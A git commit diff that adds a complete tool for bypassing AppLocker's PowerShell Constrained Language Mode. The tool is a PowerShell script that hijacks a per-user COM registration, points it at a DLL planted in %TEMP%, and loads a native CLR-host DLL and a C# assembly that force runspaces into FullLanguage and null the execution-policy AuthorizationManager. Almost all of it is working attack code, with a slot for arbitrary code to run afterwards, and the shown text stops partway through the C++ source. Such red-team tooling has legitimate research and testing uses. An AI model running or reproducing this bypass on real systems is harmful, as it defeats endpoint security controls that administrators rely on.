Added Bypass-ConstrainedLanguageMode
This commit is contained in:
parent
4aa113e076
commit
4e17445eaf
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,151 @@
|
||||||
|
|
||||||
|
# -------------------------
|
||||||
|
$comName = "ClmDisableDll"
|
||||||
|
$comDescription = "CLM Disable COM"
|
||||||
|
|
||||||
|
$srcDllPath = '.\ClmDisableDll.dll'
|
||||||
|
$dstDllPath = "$($Env:Temp)\ClmDisableDll.dll"
|
||||||
|
|
||||||
|
$srcAssemblyPath = '.\ClmDisableAssembly.dll'
|
||||||
|
$dstAssemblyPath = "$($Env:Temp)\ClmDisableAssembly.dll"
|
||||||
|
|
||||||
|
$guid = "{394aaa50-684e-4870-911a-d045293b3b13}"
|
||||||
|
# -------------------------
|
||||||
|
|
||||||
|
function Bypass-CLM
|
||||||
|
{
|
||||||
|
param(
|
||||||
|
[switch]$RemoveComWhenFinished
|
||||||
|
)
|
||||||
|
|
||||||
|
$ErrorActionPreference = "SilentlyContinue"
|
||||||
|
|
||||||
|
function Create-COM {
|
||||||
|
param(
|
||||||
|
[Parameter(Mandatory = $true)]
|
||||||
|
[string]$comName,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $true)]
|
||||||
|
[string]$comDescription,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $true)]
|
||||||
|
[string]$dllPath,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $true)]
|
||||||
|
[string]$guid
|
||||||
|
)
|
||||||
|
|
||||||
|
# Obtains current user SID, can't use System.Security.Principal.NTAccount
|
||||||
|
# type because we are in Constrained Language Mode
|
||||||
|
$sid = (whoami /user | select-string -Pattern "(S-1-5[0-9-]+)" -all | select -ExpandProperty Matches).value
|
||||||
|
|
||||||
|
New-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERS
|
||||||
|
$key = 'HKU:\{0}_classes' -f $sid
|
||||||
|
|
||||||
|
# Adding our own InProcServer32
|
||||||
|
$key = 'HKU:\{0}_classes\CLSID\' -f $sid
|
||||||
|
New-Item -Path $key -Name $guid
|
||||||
|
$key = 'HKU:\{0}_classes\CLSID\{1}' -f $sid, $guid
|
||||||
|
New-Item -Path $key -Name 'InProcServer32'
|
||||||
|
New-ItemProperty -Path $key -Name '(Default)' -Value $comDescription -PropertyType String -Force
|
||||||
|
$key = 'HKU:\{0}_classes\CLSID\{1}\InProcServer32' -f $sid, $guid
|
||||||
|
New-ItemProperty -Path $key -Name '(Default)' -Value $dllPath -PropertyType String -Force
|
||||||
|
New-ItemProperty -Path $key -Name 'ThreadingModel' -Value "Apartment" -PropertyType String -Force
|
||||||
|
|
||||||
|
# Registering COM's ProgID / shortname
|
||||||
|
$key = 'HKU:\{0}_classes' -f $sid
|
||||||
|
New-Item -Path $key -Name $comName
|
||||||
|
$key = 'HKU:\{0}_classes\{1}' -f $sid, $comName
|
||||||
|
New-ItemProperty -Path $key -Name '(Default)' -Value $comDescription -PropertyType String -Force
|
||||||
|
New-Item -Path $key -Name 'CLSID'
|
||||||
|
$key = 'HKU:\{0}_classes\{1}\CLSID' -f $sid, $comName
|
||||||
|
New-ItemProperty -Path $key -Name '(Default)' -Value $guid -PropertyType String -Force
|
||||||
|
}
|
||||||
|
|
||||||
|
function Remove-COM {
|
||||||
|
param(
|
||||||
|
[Parameter(Mandatory = $true)]
|
||||||
|
[string]$comName,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $true)]
|
||||||
|
[string]$guid
|
||||||
|
)
|
||||||
|
|
||||||
|
$sid = (whoami /user | select-string -Pattern "(S-1-5[0-9-]+)" -all | select -ExpandProperty Matches).value
|
||||||
|
|
||||||
|
New-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERS | Out-Null
|
||||||
|
$key = 'HKU:\{0}_classes\{1}' -f $sid, $comName
|
||||||
|
Remove-Item -Path $key -Recurse | Out-Null
|
||||||
|
|
||||||
|
$key = 'HKU:\{0}_classes\CLSID\{1}' -f $sid, $guid
|
||||||
|
Remove-Item -Path $key -Recurse | Out-Null
|
||||||
|
}
|
||||||
|
|
||||||
|
function Invoke-PS {
|
||||||
|
param(
|
||||||
|
[Parameter(Mandatory = $true)]
|
||||||
|
[string]$Commands
|
||||||
|
)
|
||||||
|
|
||||||
|
$Runspace = [runspacefactory]::CreateRunspace()
|
||||||
|
$posh = [powershell]::Create()
|
||||||
|
$posh.runspace = $Runspace
|
||||||
|
$Runspace.Open()
|
||||||
|
|
||||||
|
[void]$posh.AddScript($Commands)
|
||||||
|
$posh.Invoke()
|
||||||
|
$posh.Dispose() | Out-Null
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Host "`tAppLocker Constrined Language Mode Bypass via COM"
|
||||||
|
Write-Host "`t(implementation of: @xpn's technique, as documented in:)"
|
||||||
|
Write-Host "`t(https://www.mdsec.co.uk/2018/09/applocker-clm-bypass-via-com/)"
|
||||||
|
Write-Host "`n`tRe-implemented, enhanced by: Mariusz B., mgeeky"
|
||||||
|
Write-Host "`t-----`n"
|
||||||
|
|
||||||
|
Write-Host "[.] Step 0. Planted DLL files in:`n`t$dstAssemblyPath`n`t$dstDllPath"
|
||||||
|
|
||||||
|
Copy-Item $srcDllPath $dstDllPath -Force
|
||||||
|
Copy-Item $srcAssemblyPath $dstAssemblyPath -Force
|
||||||
|
|
||||||
|
Write-Host "[.] Step 1. Creating custom COM object."
|
||||||
|
|
||||||
|
Create-COM -ComName $comName -ComDescription $comDescription -DllPath $dstDllPath -Guid $guid | Out-Null
|
||||||
|
|
||||||
|
Write-Host "[.] Step 2. Invoking it ($comName)..."
|
||||||
|
|
||||||
|
Write-Host "`tPowershell runspace Thread ID: $([appdomain]::GetCurrentThreadId())"
|
||||||
|
try
|
||||||
|
{
|
||||||
|
New-Object -ComObject $comName -erroraction 'silentlycontinue' | Out-Null
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
if($RemoveComWhenFinished)
|
||||||
|
{
|
||||||
|
Write-Host "[.] Removing registered COM object."
|
||||||
|
Remove-COM -ComName $comName -Guid $guid
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Write-Host "`n============"
|
||||||
|
Write-Host -ForegroundColor Yellow "`nUse below command to disable CLM on Demand (ignore errors):"
|
||||||
|
Write-Host "`n`tPS> " -NoNewLine
|
||||||
|
Write-Host -ForegroundColor Green "New-Object -ComObject $comName"
|
||||||
|
Write-Host "`n============`n"
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
#############################################################
|
||||||
|
#
|
||||||
|
# PUT YOUR CODE BELOW THAT IS GOING TO BE RUN IN CLM DISABLED
|
||||||
|
#
|
||||||
|
|
||||||
|
Write-Host "`n[+] Finished. CLM status: $($ExecutionContext.SessionState.LanguageMode)"
|
||||||
|
|
||||||
|
#############################################################
|
||||||
|
}
|
||||||
|
|
||||||
|
Bypass-CLM
|
File diff suppressed because one or more lines are too long
Binary file not shown.
|
@ -0,0 +1,79 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||||
|
<PropertyGroup>
|
||||||
|
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||||
|
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||||
|
<ProjectGuid>{5054C13F-1351-47B9-A6CA-25F4548F68A7}</ProjectGuid>
|
||||||
|
<OutputType>Library</OutputType>
|
||||||
|
<RootNamespace>ClmDisableAssembly</RootNamespace>
|
||||||
|
<AssemblyName>ClmDisableAssembly</AssemblyName>
|
||||||
|
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
|
||||||
|
<FileAlignment>512</FileAlignment>
|
||||||
|
<Deterministic>true</Deterministic>
|
||||||
|
<TargetFrameworkProfile />
|
||||||
|
<PublishUrl>publish\</PublishUrl>
|
||||||
|
<Install>true</Install>
|
||||||
|
<InstallFrom>Disk</InstallFrom>
|
||||||
|
<UpdateEnabled>false</UpdateEnabled>
|
||||||
|
<UpdateMode>Foreground</UpdateMode>
|
||||||
|
<UpdateInterval>7</UpdateInterval>
|
||||||
|
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
|
||||||
|
<UpdatePeriodically>false</UpdatePeriodically>
|
||||||
|
<UpdateRequired>false</UpdateRequired>
|
||||||
|
<MapFileExtensions>true</MapFileExtensions>
|
||||||
|
<ApplicationRevision>0</ApplicationRevision>
|
||||||
|
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
|
||||||
|
<IsWebBootstrapper>false</IsWebBootstrapper>
|
||||||
|
<UseApplicationTrust>false</UseApplicationTrust>
|
||||||
|
<BootstrapperEnabled>true</BootstrapperEnabled>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||||
|
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||||
|
<DebugSymbols>true</DebugSymbols>
|
||||||
|
<DebugType>full</DebugType>
|
||||||
|
<Optimize>false</Optimize>
|
||||||
|
<OutputPath>bin\Debug\</OutputPath>
|
||||||
|
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||||
|
<ErrorReport>prompt</ErrorReport>
|
||||||
|
<WarningLevel>4</WarningLevel>
|
||||||
|
<Prefer32Bit>false</Prefer32Bit>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||||
|
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||||
|
<DebugType>pdbonly</DebugType>
|
||||||
|
<Optimize>true</Optimize>
|
||||||
|
<OutputPath>bin\Release\</OutputPath>
|
||||||
|
<DefineConstants>TRACE</DefineConstants>
|
||||||
|
<ErrorReport>prompt</ErrorReport>
|
||||||
|
<WarningLevel>4</WarningLevel>
|
||||||
|
<Prefer32Bit>false</Prefer32Bit>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup>
|
||||||
|
<StartupObject />
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup />
|
||||||
|
<ItemGroup>
|
||||||
|
<Reference Include="System" />
|
||||||
|
<Reference Include="System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL">
|
||||||
|
<HintPath>System.Management.Automation.dll</HintPath>
|
||||||
|
</Reference>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Compile Include="Program.cs" />
|
||||||
|
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="app.config" />
|
||||||
|
<None Include="app.manifest" />
|
||||||
|
<None Include="packages.config" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
|
||||||
|
<Visible>False</Visible>
|
||||||
|
<ProductName>.NET Framework 3.5 SP1</ProductName>
|
||||||
|
<Install>false</Install>
|
||||||
|
</BootstrapperPackage>
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||||
|
</Project>
|
|
@ -0,0 +1,75 @@
|
||||||
|
using System;
|
||||||
|
using System.Management.Automation;
|
||||||
|
using System.Management.Automation.Runspaces;
|
||||||
|
|
||||||
|
namespace ClmDisableAssembly
|
||||||
|
{
|
||||||
|
public class ClmDisableAssembly
|
||||||
|
{
|
||||||
|
[System.Runtime.InteropServices.DllImport("kernel32.dll")]
|
||||||
|
static extern int GetCurrentThreadId();
|
||||||
|
|
||||||
|
public static int Start(string arg)
|
||||||
|
{
|
||||||
|
Console.WriteLine("[+] Managed mode assembly. Disabling CLM globally.");
|
||||||
|
Console.WriteLine("\tCurrent thread ID (managed/unmanaged): " + System.Threading.Thread.CurrentThread.ManagedThreadId.ToString() + " / " + GetCurrentThreadId().ToString());
|
||||||
|
|
||||||
|
if (arg.Length > 0)
|
||||||
|
{
|
||||||
|
Console.WriteLine($"\tPassed argument: '{arg}'");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Switches back to FullLanguage in CLM
|
||||||
|
Runspace.DefaultRunspace.SessionStateProxy.LanguageMode = PSLanguageMode.FullLanguage;
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
Runspace.DefaultRunspace.InitialSessionState.LanguageMode = PSLanguageMode.FullLanguage;
|
||||||
|
|
||||||
|
// Bypasses PowerShell execution policy
|
||||||
|
Runspace.DefaultRunspace.InitialSessionState.AuthorizationManager = null;
|
||||||
|
}
|
||||||
|
catch (Exception e)
|
||||||
|
{
|
||||||
|
Console.WriteLine("[-] Approach #1 failed: " + e);
|
||||||
|
}
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
Runspace runspace = RunspaceFactory.CreateRunspace();
|
||||||
|
runspace.ApartmentState = System.Threading.ApartmentState.STA;
|
||||||
|
runspace.ThreadOptions = PSThreadOptions.UseCurrentThread;
|
||||||
|
runspace.Open();
|
||||||
|
runspace.SessionStateProxy.LanguageMode = PSLanguageMode.FullLanguage;
|
||||||
|
runspace.Close();
|
||||||
|
}
|
||||||
|
catch (Exception e)
|
||||||
|
{
|
||||||
|
Console.WriteLine("[-] Approach #2 failed: " + e);
|
||||||
|
}
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
InitialSessionState initialSessionState = InitialSessionState.CreateDefault();
|
||||||
|
initialSessionState.ApartmentState = System.Threading.ApartmentState.STA;
|
||||||
|
initialSessionState.AuthorizationManager = null;
|
||||||
|
initialSessionState.ThreadOptions = PSThreadOptions.UseCurrentThread;
|
||||||
|
|
||||||
|
using (Runspace runspace = RunspaceFactory.CreateRunspace(initialSessionState))
|
||||||
|
{
|
||||||
|
runspace.Open();
|
||||||
|
runspace.SessionStateProxy.LanguageMode = PSLanguageMode.FullLanguage;
|
||||||
|
runspace.InitialSessionState.AuthorizationManager = null;
|
||||||
|
runspace.InitialSessionState.LanguageMode = PSLanguageMode.FullLanguage;
|
||||||
|
runspace.Close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception e)
|
||||||
|
{
|
||||||
|
Console.WriteLine("[-] Approach #3 failed: " + e);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,36 @@
|
||||||
|
using System.Reflection;
|
||||||
|
using System.Runtime.CompilerServices;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
// Ogólne informacje o zestawie są kontrolowane poprzez następujący
|
||||||
|
// zestaw atrybutów. Zmień wartości tych atrybutów, aby zmodyfikować informacje
|
||||||
|
// powiązane z zestawem.
|
||||||
|
[assembly: AssemblyTitle("ClmDisableAssembly")]
|
||||||
|
[assembly: AssemblyDescription("")]
|
||||||
|
[assembly: AssemblyConfiguration("")]
|
||||||
|
[assembly: AssemblyCompany("")]
|
||||||
|
[assembly: AssemblyProduct("ClmDisableAssembly")]
|
||||||
|
[assembly: AssemblyCopyright("Copyright © 2019")]
|
||||||
|
[assembly: AssemblyTrademark("")]
|
||||||
|
[assembly: AssemblyCulture("")]
|
||||||
|
|
||||||
|
// Ustawienie elementu ComVisible na wartość false sprawia, że typy w tym zestawie są niewidoczne
|
||||||
|
// dla składników COM. Jeśli potrzebny jest dostęp do typu w tym zestawie z
|
||||||
|
// COM, ustaw wartość true dla atrybutu ComVisible tego typu.
|
||||||
|
[assembly: ComVisible(false)]
|
||||||
|
|
||||||
|
// Następujący identyfikator GUID jest identyfikatorem biblioteki typów w przypadku udostępnienia tego projektu w modelu COM
|
||||||
|
[assembly: Guid("5054c13f-1351-47b9-a6ca-25f4548f68a7")]
|
||||||
|
|
||||||
|
// Informacje o wersji zestawu zawierają następujące cztery wartości:
|
||||||
|
//
|
||||||
|
// Wersja główna
|
||||||
|
// Wersja pomocnicza
|
||||||
|
// Numer kompilacji
|
||||||
|
// Rewizja
|
||||||
|
//
|
||||||
|
// Możesz określić wszystkie wartości lub użyć domyślnych numerów kompilacji i poprawki
|
||||||
|
// przy użyciu symbolu „*”, tak jak pokazano poniżej:
|
||||||
|
// [assembly: AssemblyVersion("1.0.*")]
|
||||||
|
[assembly: AssemblyVersion("1.0.0.0")]
|
||||||
|
[assembly: AssemblyFileVersion("1.0.0.0")]
|
Binary file not shown.
|
@ -0,0 +1,31 @@
|
||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio 15
|
||||||
|
VisualStudioVersion = 15.0.28307.572
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ClmDisableDll", "ClmDisableDll.vcxproj", "{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|x64 = Debug|x64
|
||||||
|
Debug|x86 = Debug|x86
|
||||||
|
Release|x64 = Release|x64
|
||||||
|
Release|x86 = Release|x86
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Debug|x64.ActiveCfg = Debug|x64
|
||||||
|
{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Debug|x64.Build.0 = Debug|x64
|
||||||
|
{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Debug|x86.ActiveCfg = Debug|Win32
|
||||||
|
{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Debug|x86.Build.0 = Debug|Win32
|
||||||
|
{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Release|x64.Build.0 = Release|x64
|
||||||
|
{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Release|x86.ActiveCfg = Release|Win32
|
||||||
|
{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Release|x86.Build.0 = Release|Win32
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||||
|
SolutionGuid = {1154B3D3-39A5-4687-A246-E70587D3BE81}
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
|
@ -0,0 +1,145 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Debug|x64">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<VCProjectVersion>15.0</VCProjectVersion>
|
||||||
|
<ProjectGuid>{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}</ProjectGuid>
|
||||||
|
<RootNamespace>ClmDisableDll</RootNamespace>
|
||||||
|
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v141</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v141</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v141</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v141</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="Shared">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup />
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<AdditionalDependencies>mscoree.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<AdditionalDependencies>mscoree.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>MinSpace</Optimization>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>false</SDLCheck>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<AdditionalOptions> /GL /Os /GF /Gy /GA %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||||
|
<CallingConvention>StdCall</CallingConvention>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<AdditionalDependencies>mscoree.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<AdditionalOptions>/OPT:REF /OPT:ICF /LTCG %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>MinSpace</Optimization>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>false</SDLCheck>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<AdditionalOptions> /GL /Os /GF /Gy /GA %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||||
|
<CallingConvention>StdCall</CallingConvention>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<AdditionalDependencies>mscoree.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<AdditionalOptions>/OPT:REF /OPT:ICF /LTCG %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="main.cpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
|
@ -0,0 +1,143 @@
|
||||||
|
/**
|
||||||
|
* This DLL hosts CLR4 environment from within a native binary. This way it is possible to
|
||||||
|
* call .NET APIs from an unmanaged runtime.
|
||||||
|
*
|
||||||
|
* Mariusz B., mgeeky, 19'
|
||||||
|
*
|
||||||
|
**/
|
||||||
|
|
||||||
|
#define WIN32_LEAN_AND_MEAN
|
||||||
|
#include <windows.h>
|
||||||
|
#include <metahost.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#pragma comment(lib, "mscoree.lib")
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////
|
||||||
|
//
|
||||||
|
// Specify below .NET assembly, main class to instantiate and parameters to pass there.
|
||||||
|
|
||||||
|
namespace CustomAssemblyParameters {
|
||||||
|
LPCWSTR AssemblyName = L"%TEMP%\\ClmDisableAssembly.dll";
|
||||||
|
LPCWSTR TypeName = L"ClmDisableAssembly.ClmDisableAssembly";
|
||||||
|
LPCWSTR MethodName = L"Start";
|
||||||
|
LPCWSTR Argument = L"(called from native CLR host)";
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#ifdef _DEBUG
|
||||||
|
